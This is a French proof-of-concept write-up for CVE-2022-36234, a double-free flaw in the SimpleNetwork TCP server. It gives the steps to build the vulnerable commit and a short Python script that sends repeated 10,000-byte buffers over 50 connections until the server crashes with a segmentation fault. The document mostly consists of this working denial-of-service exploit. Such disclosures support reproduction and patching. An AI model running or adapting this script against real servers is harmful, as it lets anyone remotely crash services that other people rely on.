
Preuve de concept pour CVE-2022-36234
Le serveur TCP SimpleNetwork commit 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 a été découvert comme contenant une vulnérabilité de double libération qui est exploitée via des paquets TCP forgés. Déclencher la double libération permettra aux clients de faire planter à distance n'importe quel serveur TCP SimpleNetwork. Dans d'autres situations, les vulnérabilités de double libération peuvent provoquer un comportement indéfini et potentiellement une exécution de code dans les bonnes circonstances.
Pour vous assurer que vous disposez des outils de construction standard nécessaires pour compiler la bibliothèque, installez les paquets suivants (sur la plupart des systèmes, ils seront déjà installés) :
sudo apt-get install build-essential git
La vulnérabilité peut être reproduite en envoyant des requêtes consécutives au serveur contenant un grand tampon de caractères dans un paquet TCP. Tout d'abord, compilez la bibliothèque 'libSimpleNetwork' et le serveur d'exemple fourni dans le code source :
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
Si la manipulation réussit, le serveur plantera et vous verrez la sortie suivante de l'application :
segmentation fault ./server 80 1